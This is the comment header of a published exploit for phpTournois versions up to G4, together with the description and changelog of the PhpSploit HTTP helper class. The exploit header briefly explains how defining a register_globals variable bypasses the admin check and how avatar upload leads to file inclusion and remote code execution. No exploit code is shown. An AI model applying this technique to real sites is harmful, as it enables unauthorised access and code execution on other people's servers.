* Name: phpTournois <= G4 Remote File Upload/Code Execution Exploit
* Credits: Charles "real" F. <charlesfol[at]hotmail.fr>
* Date: 04-06-08
*
* -> Remote Code Execution
* -> Remote File Upload
*
* When testing if we are admin, phpTournois checks if $grade['a']=='a'.
* But when we are not loggued in, this var is not defined.
* So, using register_globals, we can define it and let the CMS think we
* are authentificated.
* Using configuration zone and avatar upload, we can do a LFI, and then
* everything is possible.

* TITLE: PhpSploit Class
* REQUIREMENTS: PHP 5 (remove "private", "public" if you have PHP 4)
* VERSION: 1.2
* LICENSE: GNU General Public License
* ORIGINAL URL: http://www.acid-root.new.fr/tools/03061230.txt
* FILENAME: phpsploitclass.php
*
* CONTACT: [email protected] (french / english)
* GREETZ: Sparah, Ddx39
*
* DESCRIPTION:
* The phpsploit is a class implementing a web user agent.
* You can add cookies, headers, use a proxy server with (or without) a
* basic authentification. It supports the GET and the POST method. It can
* also be used like a browser with the cookiejar() function (which allow
* a server to add several cookies for the next requests) and the
* allowredirection() function (which allow the script to follow all
* redirections sent by the server). It can return the content (or the
* headers) of the request. Others useful functions can be used for debugging.
* A manual is actually in development but to know how to use it, you can
* read the comments.
*
* CHANGELOG:
* [2007-01-24] (1.2)
* * Bug #2 fixed: Problem concerning the getcookie() function ((|;))
* * New: multipart/form-data enctype is now supported
*
* [2006-12-31] (1.1)
* * Bug #1 fixed: Problem concerning the allowredirection() function (chr(13) bug)
* * New: You can now call the getheader() / getcontent() function without parameters
*
* [2006-12-30] (1.0)
* * First version
*
